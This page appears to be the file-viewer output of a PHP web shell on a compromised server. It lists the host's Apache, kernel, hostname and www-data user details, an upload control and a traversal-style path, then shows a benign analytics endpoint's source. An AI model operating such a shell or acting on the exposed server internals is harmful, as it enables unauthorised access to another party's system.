( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/tmpr/../tmpr/..//tmpr/../tmpr/../wowX/tools/track_usage_ajax.php
<?php
// tools/track_usage_ajax.php
// Public AJAX endpoint for tracking tool usage events from the client side

header('Content-Type: application/json');

// Include analytics helper (which includes db_connect.php)
require_once __DIR__ . '/includes/analytics_helper.php';

// Get JSON input
$input = json_decode(file_get_contents('php://input'), true);

if (!$input) {
    echo json_encode(['status' => 'error', 'message' => 'Invalid JSON input']);
    exit;
}

$tool = isset($input['tool']) ? $input['tool'] : null;
$category = isset($input['category']) ? $input['category'] : 'unknown';
$action = isset($input['action']) ? $input['action'] : 'view';
$metadata = isset($input['metadata']) ? $input['metadata'] : [];

if (!$tool) {
    echo json_encode(['status' => 'error', 'message' => 'Tool identifier is required']);
    exit;
}

// Track usage
$success = track_tool_usage($tool, $category, $action, $metadata);

if ($success) {
    echo json_encode(['status' => 'success']);
} else {
    echo json_encode(['status' => 'error', 'message' => 'Database tracking failed']);
}
?>